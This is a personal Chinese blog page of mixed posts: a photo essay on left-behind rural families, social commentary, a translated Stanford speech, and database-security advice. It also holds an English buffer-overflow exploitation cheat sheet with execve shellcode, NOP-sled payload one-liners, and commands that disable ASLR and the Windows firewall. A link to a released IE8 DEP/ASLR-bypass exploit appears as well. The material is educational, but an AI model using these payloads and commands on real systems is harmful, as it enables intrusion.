A TO Z_百度空间
 
文章列表
 
2012-05-01 12:14

一组反映现实的图片,这是一位新华社记者拍摄的一组片子,每把空椅子都是一位不在身边的亲人。我很喜欢这个标题:等你回家。可能是因为自己也不在父母身边吧,对于回家这个词总是有着一种特殊的感情。现在有很多孩子都远离父母,或是去外地读书或是去外地工作,能够陪伴父母的时间非常的少。但是不管在外面发展的如何,是好是坏,都不要忘记,最亲最爱你的人在家里等待着,等你回家。

程孝林和两个孩子在山顶的菜地里。程孝林的妻子在外打工。

陈荣英在家门前的田地里,她的丈夫和两个孩子在外打工。

67岁的田云秀(左)和65岁的老伴刘德珍在村里的荞麦地边。田云秀家有6个孩子离开农村出去打工。

61岁的王贵贤(左)和老伴张树美在家门前。王贵贤有4个孩子离开村子外出打工。

68岁的贺爱良在家附近的山顶上。贺爱良的老伴去世多年,3个孩子在外面打工。

胡尔桂在村里的玉米地里。胡尔桂的丈夫和两个孩子在外打工。

64岁的田东林(左)和老伴在家附近的洛河边。田东林的3个孩子在离家外出打工。

67岁的薛丕忠(左)、老伴杨桂兰和孙子在自己家里。薛丕忠家里有十几口人离开农村,外出打工或上学。

吴会琴和两岁的儿子在家附近的空地上。吴会琴的丈夫外出打工。

56岁的狄金省(左)和老伴巨玉兰在窑洞前的院子里。狄金省的6个女儿或者外出打工、或者嫁人离开村子。

87岁的柳树珍在村里的水稻田边。柳树珍的老伴去世,儿子在外打工。
 
2012-04-23 19:22

分享一个Python 创建Socks5代理的代码
http://www.80vul.com/src/s5.py 

# 普通用户权限下,请使用1024之后的端口。

 
2012-02-20 10:40

Ph4nt0m planet 基于两大开源库构建;

1、htmltmpl  http://htmltmpl.sourceforge.net/
2、feedparser http://code.google.com/p/feedparser/

BUG List
1, 有些人的博客RSS源出现乱码状况,GBK to UTF-8,第三方库是先ISO-8859-1 to UTF-8,再处理GBK。
2, 开源库的内部,使用的是美国时区,服务器是重启时区,时间出现8个小时的误差。
3, 百度图片未能直接显示。

工作有点忙,这三个BUG将在最近修复。

 
2012-01-28 16:59

研究是为了“好玩儿”,
好玩者不是功利主义,不是沽名钓誉,更不是哗众取宠,也不是一本万利。

这东西只是个爱好而已,所追求的也只是一种“爽就行了”的感觉!

 
2012-01-19 12:56

她出自音乐世家,她与滨崎步、仓木麻衣并称日本平成三大歌姬。她是日本音乐史上唯一一位连续三张专辑销量突破300万的歌手。她热爱动漫,喜爱绘画,对熊有强烈的执着。2011年她暂停歌手活动。她就是宇多田(うただ)ヒカル。

 
2012-01-19 11:43

有个问题,大家不知道感觉到了没,现在人类的文明,其实在衰败,甚至还不如古代,现代人幸福感在逐渐降低,很多人感觉活着很累,如果有下辈子,不想做人,在这个物欲横流的社会,为了利益可以出卖灵魂的社会,人类的感情越来越肤浅,一夜情,闪婚,闪离,蜗居,做爱不再是身心升华的行为,而成了几乎可以用运动来代替吧,流浪大街,尤其是城市,你死你活谁人知。

上帝创造人类并赋予人类高级情感,爱,团结,创造力,这些不是让男人钓马子用,也不是让女人为了钱当小三,更不是让商人为了利益去加入三聚氰胺,瘦肉精,黄瓜上抹上避孕药。看看,现在咱们周围的世界成什么了?

 
2012-01-02 00:04
狗:我住有房出有车你有吗?
狼:没有。
 
狗:我三餐有人伺候你有吗?
狼:没有。
 
狗:我有户口有人管你有吗?
狼:没有。
 
狗:我有主管单位,你有吗?
狼:没有。
 
狗:我有固定工作岗位你有吗?
狼:没有。
 
狗:那你有什么呢?你说说!
狼:自由。
 
2011-12-12 16:18

结婚的风格,尽量保持KISS原则,Keep It Simple Style!
祖辈是农民,老家地区是填湖(洞庭湖)造田所开辟的区域,方圆百里无山,适合走简单的田园风格。

风格I:

风格II:



 
2011-12-07 02:27

每当头脑空闲的时候,我都会产生一股强烈的思考欲望,回想最近两年,没有太大的质变,只是在不断的机械化重复着一些没意义的事情,让我心生烦躁,但反过来想想其实是个机会,不作出改变,只会沦为碌碌之辈!有时会觉得自己冷血,可以完全无视任何情感因素。不知道是从小就没有接触到感情,还是藏得太深。

我不看好现在的年轻人,对于身边的人,我会尽量去了解他们如下两方面:

1、从小有过特殊经历。
2、20岁之前读过哪些书。

如果两者都达不到我心目中的标准,自然与我不是同路人。

这些年我一直跟身边人讲,人生最佳的学习年龄是14岁至24岁,如果这10年没有学到什么,大致上整个人生就废了。我从没停止过警示着身边的人,却忘了警告我自己,导致浪费了太多的时间做了些几乎无意义的事情!有一点可悲,身边没有任何一个告诉我学习的重要性,哪怕是对我说一句:“时间紧迫!”;我不知道到底是我:“曲高和寡”,还是…,让我感到困惑。现在我已经没有精力再去管更多的闲事了,我需要更好的环境磨砺自己!

人生不如意十有八九,不是只有修行者才会负重,无绳自缚者天下皆是!

凡夫俗子见大山而不深入,涉小溪而进足,琐碎小事上忙忙碌碌,到头来终无所成。
无眼界者无前途。

 
2011-11-23 23:21

今年WebSense安全实验室的调查显示:39%的Web 攻击目的是进行数据窃取,更有20%直接被人刷了库;

年初,乌云平台报告了某上市公司客户资料数据库被窃取,数据库资料包含了用户的手机、密码、邮箱、身份证、住址、家庭成员信息、消费记录(这个比较敏感),他们感到鸭梨很大,所以得此机会,为他们的几千万用户设计数据安全方案;

1、了解骇客

Web 漏洞 -> Web Shell -> 读配置文件想找到数据库配置连接 -> 找到可以连接到数据库的信任服务器 -> 连上数据库拖库、刷库;

进谷歌 找注入
没注入 就旁注
没旁注 用Oday
没Oday 猜目录
没目录 就嗅探
爆账户 找后台
传小马 放大马
拿权限 拖数据

2、针对骇客防御

2.1、Web漏洞

涵盖方向太广,想真正解决问题,找专业的代码审计、风险评估专家,推荐 80vul.com、80sec.com (因为专注,所以靠谱!)

2.2、Web Shell

对程序员进行专业的安全培训,千万不要相信伪专家,找专注的、靠谱的!

2.3、读取配置文件

来到了代码级,你们程序员基本能玩死那些小瘪三骇客了,配置信息加密或者藏起来,自己想办法。
大一点的企业,都是直接SOAP了,写WebService取数据的。。。

2.4、数据库服务器ACL

严格的访问控制,粒度切记细化(数据库用户权限),只允许来自WebService宿主服务器,访问数据库。端口级+静态IP策略。

2.5、数据主动防御

既然骇客的最终目的是窃取数据、篡改数据,那就把数据加密,解密密匙藏起来。

现在的架构是.NET做WebServic为前端多个业务系统提供数据回调,数据库使用的MSSQL,整个数据操作流程如下:

取数据:Web 前端 -> 连接配置数据库取对应的WebService -> WebService取数据 -> DB
提交数据:Web前端 -> 连接配置数据库取对应的WebService -> WebService提交数据库 -> DB

我的建议:
一些关键字段在入库时,先通过AES加密,再将加密后的内容存储进数据库。

AES密匙,写死在WebService端的某个文件内,写好后,用VS自带的DotFuscator将.NET的WEB源代码混淆,PHP可以采用Zend的源代码保护方案。(至少现在还很少有人能够将源代码混淆后的密文完完整整的还原出来。);WEB前端,用密匙解密给客户端。

他们还有一个数据审计部门需要针对用户数据进行数据挖掘:

我的建议:
划分一个数据审计安全VLAN,不允来自任何网络的访问,通过你的密匙还原一份原始数据用来做审计,安全域一定要划分隔离。

 

财务保护:(今天给他们讲的一个例子,当时想用3DES的,后来想想没那个必要了。)

采用 AES 算法,每个用户设置一个独立的FACEID,作为加密、解密的密匙;
uid = 1063200; FACEID = 8baceca0-15e7-11e1-be50-0800200c9a66;

建立一个 d_encode 和 d_decode 函数,用来针对用户的账户余额(CARD_BALANCE)在SQL中进行计算。

更改用户余额为:1000
update CARD_MEMCARD set CARD_BALANCE=d_encode('1000','8baceca0-15e7-11e1-be50-0800200c9a66') where CARD_UID_CD='1063200';

查询用户的手机号和余额:
select MEM_MOBIL_PHONE, d_decode(CARD_BALANCE,'8baceca0-15e7-11e1-be50-0800200c9a66') where CARD_UID_CD='1063200';

我当时还想到的一个猥琐方法就是:数据库的表名、字段名进行混淆,不要让骇客一眼就看出CARD_BALANCE是用户余额的字段。

 
2011-10-31 13:06

Target Architectures
intel manuals
x86 assembly
sparc assembly
sparc manuals
pa/risc - search for 'reference and manuals' on hp.com

Little/Big Endian
Byte ordering is different:
little endian (intel, 32bit) = high-ordered first

big endian (sparc, 64bit, motorola) = low-ordered first

LIFO/FIFO
queueing process is different
LIFO = Last in First out (Stack)
FIFO = First in First out (Heap)

Linux ELF
ELF = executable and linkable format
COFF = common object file format
.so = dynamic library
.dtors = destructors
.ctors = constructors
GOT = global offset table
PLT = procedure linkage table
libraries (api) = /usr/lib
libc.so = C library

Windows PE

PE = portable executable
PE-COFF = portable executable common object file format
PEB = process environment block
TEB = threat environment block
PIC = position independant code
.dll = dynamic linked library
Win32 API
DCOM = distributed common object model
MSVCRT.dll = C Library

C Datatypes (x86)

integer (int) = 4 bytes
unsigned int = 4 bytes
short int = 2 bytes
long int = 4 bytes
long long int = 8 bytes
floating (float) = 4 bytes
character (char) = 1 bytes

Formatstrings

%d = decimal
%u = unsigned decimal
%x = hexadecimal
%s = string
%n = number bytes written so far

Memory Segments

.text = text (code) portion of binary, read-only, segfaults if written to
.data = initialised global and local variables, write-able, fixed-size
.bss = uninitialised global and local variables, write-able, fixed-size
heap = dynamically allocated variables (allocate+/free-)
(grows down toward higher memory addresses)
stack = local variables, recursive function calls (push+/pop-)
(grows up toward lower memory addresses)

Registers and Pointers

EAX,EBX,ECX,EDX = data manipulation
EAX = Accumulator
EBX = Base
ECX = Counter
EDX = Data
AX,BX,CX,DX = 16bit data manipulation
AH,BH,CH,DH,AL,BL,CL,DL = 8bit high/low ordered
CS,SS,DS,ES,FS,GS = 16bit memory address pointers
Offset = offset related to segment
EBP = extended base pointer (local environment for function)
ESI = extended source index (data source offset)
EDI = extended destination index (destination data offset)
ESP = extended stack pointer (top of stack)
EIP = extended instruction pointer (address of next instruction)
EEFLAGS = cpu logic and state tracking

Intel IA32 Registers

Runtime Memory

Runtime Memory / Registers

Stack

local variables, recursive function calls, example function: printf()

Heap

dynamically allocated variables, example function: malloc()

Exploits

0day = no patch available yet
poc = proof of concept
public = public available exploit
private = privately exchanged exploit
local = local privilege escalation
remote = remotely working exploit

Buffer Overflow Generations
1) stack-based overflows
2) off-by-one and formatstring overflows
3) bss overflows
4) heap overflows

System Preparation
for linux, disable protection when testing exploits:
echo "0" > /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/exec-shield
echo "0" > /proc/sys/kernel/exec-shield-random
allow core dumps in linux:
ulimit -c unlimited
windows needs the following settings:
boot.ini for disabling data execution prevention: /noexecute=AlwaysOff
registry for disabling ASLR under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages

Important Tools
gnu compiler collection:gcc
gnu debugger:gdb
netwide assembler:nasm
windows debugger:windbg
valgrind:valgrind
ollydbg:ollydbg(ollydbg.ini)
immunitydbg:immunitydbg
visual c++ express:visual c++ express
ida pro free:ida pro free
python:python
mosdef:mosdef
tcpdump:tcpdump
wireshark:wireshark
netcat:netcat
sysinternals:sysinternals
(regmon,filemon,handle,tcpview,process explorer)
linux: ltrace, strace
solaris: truss
bsd: fstat
mac: kdump, ktrace, vmmap
cisco: rommon

Exploiting
1) Control EIP ;)
2) Determine the offset(s)
3) Determine the attack vector (opcode, env, dtors, libc)
4) Build the exploit sandwich (nop sled, shellcode, esp)
5) Test the exploit :o

Exploit Sandwich

NOP sled

repeated no-operations (NOP's), no need to know exact offset, pointing somewhere into for sliding to the shellcode, use opcode0x90

Down to the Beef

overwrite EIP with A (0x41): python -c 'print("A"*200)'
overwrite EIP with NOP sled: python -c 'print("\x90"*200)'

generate shellcode: python -c 'print("\xeb\x1f\x5e\x89...")' > sc
calculate return address (debugger, pcalc)
overwrite EIP with repeated return address
address in right endian format: python -c 'print("\x01\x23\x45\x67")'
buffer bytes - NOP sled - Shellcode / 4 bytes = n times (x??)
build sandwich: sled + shellcode + repeated return address
send string to application input or network socket :)
python -c 'print("\x90"*20+"\xeb\x1f\x5e\x89..."+"\x01\x23\x45\x67"*10)'
if it segfaults, debug it, adjust length, search for error(s)
poke around in memory until you succeed!

Shellcoding

possible shellcodes: port binding, reverse connection, find and re-use socket, code execution (execve), file transfer, multi staged, syscall proxying, process injection, ...
avoid these whitespaces in shellcode:
0x00 terminates instructions, others may include 0x20, 0x0a, 0x0d, 0x1b, 0x0b and 0x0c
if target is suspected to have a firewall enabled, either disable it via shell:
netsh firewall set opmode disable (admin/system privs needed)
or use a reverse shell to a probably not filtered port like 443, 80, 53, ...
if usable buffer is very small, use trampoline technique:
127 bytes in either direction (EB06 = 6 bytes) or go after libc over env-variable

Bytecodes

jmp esp (0xff 0xe4)
call esp (0xff 0xd4)
push esp, ret (0x54 0xc3)

Shellcode

famous shellcode from aleph1:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

disassembling shellcode:

compile it with gcc: gcc -o shellcode shellcode.c
debug with gdb: gdb shellcode
gdb: x /24i &shellcode
gdb: x /s 0x??????? (das-sections)
gdb: quit

Exploit Development

1) Plan the exploit
determine offset and location of payload relative to registers
find reliable jmp/call <register> offset for product/windows
test shellcode with nop's
insert jmp's into paylaod to avoid corruption
2) Write shellcode in inline assembly
allows for easier editing and may save time
3) Maintain a shellcode library
saves a lot of time, support for different platforms
4) Make it continue nicely
for metasploit use thread (not seh) as exit code
if process is restarted when terminated use exit(), ExitProcess() or TerminateProcess()
if thread is restarted when terminated use ExitThread() or TerminateThread()
5) Make the exploit stable
run more than once or multiple copies against same target
support for multiple windows patchlevels, multi platform, linux distros
log traces and firewalling issues
easy offset embedding
6) Make it steal the connection
breakpoint socket calls like accept, recv, recvfrom, send, sendto, use getpeername
read/write-file windows may use socket, serializing socket

Python TCP Socket

import sys, os, socket
host=sys.argv[1]
port=int(sys.argv[2])
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
data=s.recv(1024)
result=data.decode()
print data
s.send(('\r\n\r\n\r\n\r\n'))
data2=s.recv(1024)
result2=data2.decode()
print result2
s.close

More Links and Info

Metasploit Windows System Calls
Metasploit Shellcode
Metasploit OpCode Database
Metasploit Unleashed

Editra Editor
Leo Editor
OpenRCE
Shellcoders Handbook

 
2011-10-22 14:18

今天上午去买菜,看到路灯和其它广告牌上全贴满了“建设和谐社会,创建文明城市”的标语!
什么是“和谐社会”?什么是“文明城市”?
答:这个高度中国本土化的概念我不知道,我现在只知道这个世界动荡不安且混乱不堪,大多数人的内心充满着困惑与迷茫。
变化了的环境在某种程度上已经改变了人们的生活行为!

回到家后,看到一则文章,大致内容是:
中国的经济增长是惊人的;
中国的环境污染是惊人的;
中国的食品安全状况是惊人的;
中国富豪的高档奢侈品购买力是惊人的;
中国财富集中的速度和幅度是惊人的;
中国各阶层的腐败程度是惊人的;
中国的官本位理念之深是惊人的;
中国的诚信体系匮乏程度是惊人的;
中国的道德水平沦陷速度也是惊人的。

近来,报纸上报道“天宫一号”的发射成功,各地电视上展示城市的繁荣、高楼大厦林立、各地城市日新月异,一年一个样。两三年竖起很多新的高楼大厦,五年使城市变个样、全国各地转播老人们丰富的文化生活。难道这就是我们要创建的“和谐社会、文明城市”?

如果一个社会的文明只需要用砖头、瓦块、搞表面建设建起来,为什么中国的精英阶层会因为其它国家的奶粉钱、养老金、免费教育、免费医疗、免费社区服务、免费...以及一切一切的社会福利、民生保障等等制度而选择移民呢?

“和谐社会、文明城市”的内容太多了,不是一下子解释得清的,这里引用从网络找到关于新加坡的例子,看官可以按照自己的理解,对比我们国内去总结。

当各种族的人民汇成一个大家庭的时候

当孩子们从小接受的教育是男女平等的时候

当残疾人和平常人一样自由出入的时候(有专车为他们服务,但只收他们3元钱,和平常人的交通费一样。)

当图书馆(免费)派出“流动图书馆”到社区去将就更多读者的时候

当最低工资标准是每小时10.25元,而一只1.2公斤的鲜嫩熟鸡只卖7.49元的时候

当诚实和信任是人们的其本道德的时候(买报纸自己自觉交钱、找零钱、拿报纸,没人监督。) 

当遇到突然断电,任何人都可以维持秩序,所有人都积极配合的时侯

当总理来到店里买橘子也照样付钱的时候

当家家户户无需装防盗门窗的时候

当食物银行有很多关心别人的义工的时候

当所有的生命都得到尊重的时候

当还蓝天是蓝天,白云是白云的时候

 

这时候,你也许会注意到,新加坡这个国家明显缺少的,却正是那条“建设和谐社会,创建文明城市”的口号标语。

再看看香港那个高密度的社会:人口密度可以和国内比美,而人的素质可以和加拿大看齐,两千年前,有个九十岁的老头子对汉武帝说:“为治不在多言,顾力行何如耳。”

关于中国的现状,我有点不敢写,怕被和谐!,有兴趣的可以每天关注网易、腾讯、新浪门户的新闻排行榜,就知道我们国家是怎样了。近期关于小悦悦的事件,我们这个民族习惯用冷漠与孤独毁灭希望与梦想,其实,这件事我们都曾经是帮凶。到头来,我们记住的不是敌人的攻击,而是大家的沉默。

有些人会说,我们国家正在致力于改善中国的社会福利、民生保障等等制度,当你看到下图时,是愤怒还是继续期待我们的致力于为利益集团的改变?


 

再讲讲中国土地的历史,解放初期,政府的私有财产保护法还是在起作用直接从地主手里抢土地不容易,因此,以均贫富、搞共产的口号,煽动暴民不顾性命地从地主手里抢土地,然后再以农村合作化的手段没收抢来的土地,在公有制的旗号下,肆意挥霍。再然后,把这些没收来的土地卖给开发商。再再然后,自己和自己的组织继续得到巨大的利益。

本人就职单位现在的办公楼,就是当时从地主手上抢来的,私有化使用,终有一天会被卖掉!

和谐不是表面,而是内在!
人的道德必须是被感染的,而不是通过法律强迫他们变革,内在事关个人信念,信念实为人生之根本。当一个人被感染有了信念以后,就会有所敬、有所畏,对自己日常生活就会有所约束。

已有的事,后必再有;已行的事,后必再行,我非常相信传统的力量,相信不去了解历史的人注定会犯历史上相同的错误。

 

 
2011-10-22 01:06

半年内,30day躺着也中枪,5个漏洞被抓样本,漏洞的生命周期越来越短,漏洞的价值反而越来越贬值?这让我很疑惑。
公布一个有研究价值的EXPWin7+ IE8环境,第一个不用heap spraybypass dep&aslr打破Win7安全神话的漏洞,希望能引发各位看官的思维,牵出更多能利用的EXP
Exploithttp://www.80vul.com/ie8/win7/sc.txt  // Test on Win7 SP0 SP1
漏洞研究代码可能存在攻击性,但是仅仅作为更好的研究之用,本人对此不负担任何责任。

我们从来没放弃过免费的漏洞,因此产生了一个新的计划:"漏洞不再免费!",而今,不分昼夜的FUZZ,超算硬件投入、硬件损耗、团队人力增加所带来的沟通成本都越来越高,BUG的发现与利用也越来越困难。

漏洞拥有自身的市场价值,IT公司,政府、企业高薪聘请的安全研究人员做着和我们同样的事情,所以我们知道BUG挖掘这项工作是有价值的。同时,他们获得的资源和尊重却比我们多得多,目前众多的业余安全研究者与IT公司、政府企业之间存在着天生的不平等,不尊重,且阶层分化严重。他们对漏洞研究者的报告也很不尊重,甚至是一种轻视的态度,当初我以为一切存在的东西都是有意义的,但此时此刻,这个环境让我反思到,写下攻击代码然后公布没有任何意义,为免费漏洞付出的辛劳都变得没有价值,所以,不会再有“免费的漏洞”。

慢慢再更新吧,先这样了!

 
2011-09-19 14:46

William Deresiewicz 斯坦福大学演讲:不要在不断的优秀里走向平庸

我的题目提出的问题,当然,是一个传统地面向人文科学的专业所提出的问题:学习文学、艺术或哲学能有什么实效价值(practical value)?你肯定纳闷,我为什么在以科技堡垒而闻名的斯坦福提出这个问题呢?大学学位给人带来众多机会,这还有什么需要质疑的吗?

但那不是我提出的问题。这里的“做(do)”并不是指工作(job),“那(that)”并不是指你的专业(major)。]我们不仅仅是我们的工作,教育的全部也不仅仅是一门主修专业。(We are more than our jobs, and education is more than a major.)教育也不仅仅是上大学,甚至也不仅是从幼儿园到研究生院的正规学校教育。我说的“你要做什么”的意思是你要过什么样的生活(what kind of life are you going to lead?)?我所说的“那”指的是你得到的正规或非正规的任何训练,那些把你送到这里来的东西,你在学校的剩余时间里将要做的任何事。

我们不妨先来讨论你是如何考入斯坦福的吧。

你能进入这所大学说明你在某些技能(skills)上非常出色。你的父母在你很小的时候就鼓励你追求卓越(excel)。他们送你到好学校,老师的鼓励和同伴的榜样激励你更努力地学习。除了在所有课程上都出类拔萃之外,你还注重修养的提高,充满热情地培养了一些特殊兴趣。你用几个暑假在本地大学里预习大学课程,或参加专门技能的夏令营或训练营。你学习刻苦、精力集中、全力以赴。所以,你在数学、钢琴、曲棍球等众多方面都很出色。

掌握这些技能当然没有错,全力以赴成为最优秀的人也没有错。错误之处在于这个体系遗漏的地方:即任何别的东西(everything else)。我并不是说因为选择钻研数学,你在充分发展话语表达能力的潜力方面就失败了;也不是说除了集中精力学习地质学之外,你还应该研究政治学;也不是说你在学习钢琴时还应该学吹笛子。毕竟,专业化的本质就是要专业性。可是,专业化的问题在于它把你的注意力限制在一个点上,你所已知的和你想探知的东西都限界于此(it narrows your attention to the point where all you know about and all you want to know about)。真的,你能知道的一切就只是你的专业了。

专业化(specialization)的问题是它让你成为专家(specialist),切断你与世界上其他任何东西的联系,不仅如此,还切断你与自身其他潜能的联系(It cuts you off, not only from everything else in the world, but also from everything else in yourself.)。当然,作为大一新生,你的专业才刚刚开始。在你走向所渴望的成功之路的过程中,进入斯坦福是你踏上的众多阶梯中的一个。再读三年大学,三五年法学院或医学院或博士,然后再干若干年住院实习生或博士后或助理教授。总而言之,进入越来越狭窄的专业化轨道。你可能从政治学专业的学生变成了律师或者公司代理人,再变成专门研究消费品领域的税收问题的公司代理人。你从生物化学专业的学生变成了博士,再变成心脏病学家,再变成专门做心脏瓣膜移植的心脏病医生。

再次,做这些事没有任何错。只不过,在你越来越深入地进入这个轨道后,再记得你最初的样子(remember who you once were)就益发困难了。你开始怀念那个曾经谈钢琴和打曲棍球的人,思考那个曾经和朋友热烈讨论人生和政治以及在课堂内容的人在做什么。那个活泼能干的19岁年轻人已经变成了只想一件事的40岁中年人。(The 19-year-old who could do so many things, and was interested in so many things, has become a 40-year-old who thinks about only one thing.)难怪年长的人这么乏味无趣。(That's why older people are so boring.)“哎,我爸爸曾经是非常聪明的人,但他现在除了谈论钱和肝脏外再无其他。” ("Hey, my dad's a smart guy, but all he talks about is money and livers.")

还有另外一个问题。

或许你从来没有想过当心脏病医生,只是碰巧发生了而已。随大流最容易,这就是体制的力量。(It's easy, the way the system works, to simply go with the flow.)我不是说这个工作容易,而是说做出这种选择很容易。或者,这些根本就不是自己做出的选择。你来到斯坦福这样的名牌大学是因为聪明的孩子都这样(because that's what smart kids do.)。你考入医学院是因为它的地位高,人人都羡慕。你选择心脏病学是因为当心脏病医生的待遇很好。你做那些事能给你带来好处,让你的父母感到骄傲,令你的老师感到高兴,也让朋友们羡慕。从你上高中开始,甚至初中开始,你的唯一目标就是进入最好的大学,所以现在你会很自然地从“进入下个阶段”的角度看待人生(you naturally think about your life in terms of
"getting into" whatever's next)。“进入”就是能力的证明,“进入”就是胜利。先进入斯坦福,然后是约翰霍普金斯医学院,再进入旧金山大学做实习医生等。或者进入密歇根法学院,或高盛集团(GoldmanSachs)或麦肯锡公司(McKinsey)或别的什么地方。你迈出了这一步,下一步似乎就必然在等着你。

也许你确实想当心脏病学家。十岁时就梦想成为医生,即使你根本不知道医生意味着什么。你在上学期间全身心都在朝着这个目标前进。你拒绝了上大学预修历史课(AP history)时的美妙体验的诱惑,也无视你在医学院第四年的儿科学轮流值班时照看孩子的可怕感受。

但不管是什么,要么因为你随大流,要么因为你早就选定了道路,20年后某天醒来,你或许会纳闷到底发生了什么:你怎么变成现在这个样子,这一切意味着什么。不是它是什么,不在于它是否“大画面”(big picture)而是它对你意味着什么。 你为什么做它,到底为了什么。这听起来像老生常谈,但这个被称为中年危机(midlife crisis)的“有一天醒来”("waking up one day")一直就发生在每个人身上。

不过,还有另外一种情况,或许中年危机并不会发生在你身上。

让我通过告诉你们一个同伴的故事来解释我的意思吧,即她没有遭遇的情况。几年前,我在哈佛参加了一次小组讨论会,谈到这些问题。后来参加这次讨论的一个学生给我联系,这个哈佛学生正在写有关哈佛的毕业论文,讨论哈佛是如何给学生灌输她所说的“自我效能”(self-efficacy),一种相信自己能做一切的意识。自我效能或更熟悉的说法“自我尊重”(self-esteem)。她说在考试中得了优秀的有些学生会说“我得优秀是因为试题很简单。” 但另外一些学生,那种具有自我效能感或自我尊重的学生,考试得了优秀会说“我得优秀是因为我聪明。”

再次,认为得了优秀是因为自己聪明的想法并没有任何错,不过,哈佛学生没有认识到的是他们没有第三种选择(a third alternative)。当我指出这一点时,她十分震惊。我指出,真正的自尊意味着最初根本就不在乎成绩是否优秀。真正的自尊意味着对此问题的足够认识:尽管你在成长过程中的一切都在教导你要相信自己,但你所达到的登记,还有那些奖励、成绩、奖品、录取通知书等所有这一切,都不能来定义你是谁(defines who you are)。

她还说,这个年轻的女孩子说哈佛学生把他们的自我效能带到了世界上,如她所说的“创新”(innovative)。但当我问她“创新”意味着什么时,她能够想到的唯一例子不过是“世界大公司五百强的首席执行官”( "being CEO of a Fortune 500")。我告诉她这不是创新,这只是成功(that's just successful),而且是根据非常狭隘的成功定义而认定的成功而已。真正的创新意味着运用你的想象力,发挥你的潜力,创造新的可能性。(True innovation means using your imagination, exercising the capacity to envision new possibilities.)

但这里我并不是在谈论技术创新,不是发明新机器或者制造一种新药,我谈论的是另外一种创新,是创造你自己的生活(inventing your own life)。不是走现成的道路而是创造一条属于自己的道路。(Not following a path, but making your own path.)我谈论的想象力是道德想象力(moral imagination;眠按:这个是心理学专业名词)。“道德”在这里无关对错,而是与选择有关。道德想象力意味着创造自己新生的能力(envision new ways to live your life)。

它意味着不随波逐流(going with the flow),不是下一步要“进入”什么名牌大学或研究生院。而是要弄清楚自己到底想要什么,而不是父母、同伴、学校、或社会想要什么。即确认你自己的价值观(own values),思考迈向自己所定义的成功的道路,而不仅仅是接受别人给你的生活(simply accepting the life that you've been handed),不仅仅是接受别人给你的选择。当今走进星巴克咖啡馆,服务员可能让你在牛奶咖啡(latte)、加糖咖啡(macchiato)、特制咖啡(espresso)等几样东西之间做出选择。但你可以做出另外的选择,你可以转身走出去。当你进入大学,人家给你众多选择,或法律或医学或投资银行和咨询以及其他,但你同样也可以做其他事,做从前根本没有人想过的事(something that no one has thought of before)。

让我再举一个反面的例子。

几年前我写过一篇涉及同类问题的文章。我说,那些在耶鲁和斯坦福这类名校的孩子往往比较谨慎,去追求一些稳妥的奖励。我得到的最常见的批评是:教育项目“为美国而教”(Teach for America)如何?从名校出来的很多学生毕业后很多参与这个教育项目,因此我的观点是错误的。我一再听到TFA这个术语。“为美国而教”当然是好东西,但引用这个项目来反驳我的观点恰恰是不得要领,实际上正好证明了我想说的东西。 “为美国而教”的问题或者“为美国而教”已经成为体系一部分的问题,是它已经成为另外一个需要“进入”的门槛。

从其内容来看,“为美国而教”完全不同于高盛或者麦肯锡公司或哈佛医学院或者伯克利法学院,但从它在精英期待的体系中的地位来说,完全是一样的。它享有盛名,很难进入,是值得你和父母夸耀的东西,如果写在简历上会很好看(it looks good on your résumé),最重要的是,它代表了清晰标记的道路(a clearly marked path.)。你根本不用自己创造,什么都不用做,只需申请然后按要求做就行了,就像上大学或法学院或麦肯锡公司或别的什么。它是社会参与方面的斯坦福或哈佛,是另一个栅栏,另一枚奖章。该项目需要能力和勤奋,但不需要一丁点儿的道德想象力。

道德想象力是困难的,这种困难与你已经习惯的困难完全不同。不仅如此,光有道德想象力还不够。如果你要创造自己的生活(invent your own life),如果你想成为真正的独立思想者(truly autonomous),你还需要勇气:道德勇气(moral courage)。不管别人说什么,有按自己的价值观行动的勇气,不会因为别人不喜欢而试图改变自己的想法。具有道德勇气的个人往往让周围的人感到不舒服。他们和其他人对世界的看法格格不入,更糟糕的是,让别人对自己已经做出的选择感到不安全或无法做出选择。只要别人也不享受自由,人们就不在乎自己被关进监狱。可一旦有人越狱,其他人都会跟着跑出去。

在《青年艺术家的肖像》(A Portrait of the Artist as a Young Man)中,詹姆斯•乔伊斯(James Joyce)让主人公斯蒂芬•迪达勒斯(Stephen Dedalus)就19世纪末期的爱尔兰的成长环境说出了如下名言“当一个人的灵魂诞生在这个国家时,有一张大网把它罩住,防止它飞翔。你会给我谈论民族性、语言和宗教。我想冲出这些牢笼。”("When the soul of a man is born in this country there are nets flung at it to hold it back from flight. You talk to me of nationality, language, religion. I shall try to fly by those nets.")

今天,我们面临的是其他的网。

其中之一是我在就这些问题与学生交流时经常听到的一个术语“自我放任”("self-indulgent")。“在攻读学位过程中有这么多事要做的时候(so many other things),试图按照自己的感觉生活难道不是自我放任吗?”“毕业后不去找个真正的工作(getting a real job)而去画画难道不是自我放任吗?”

这些是年轻人只要思考一下稍稍出格(a little bit different)的事就不由自主地质问自己的问题。更糟糕的是,他们觉得提出这些问题是理所应当(feel compelled)的。许多学生在毕业前夕的未来探索中跟我说,他们感受到来自同伴那里的压力(the pressure they felt from their peers),需要为创造性的生活或思想生活辩护(to justify a creative or intellectual life)。好像自己已经走火入魔了似的:抛弃确定无疑的东西是疯了,认为思想生活可行是疯了,想象你有权尝试是疯了。(You're made to feel like you're crazy: crazy to forsake the sure thing, crazy to think it could work, crazy to imagine that you even have a right to try.眠按:“羊霸王”比更外界的压力更厉害。)

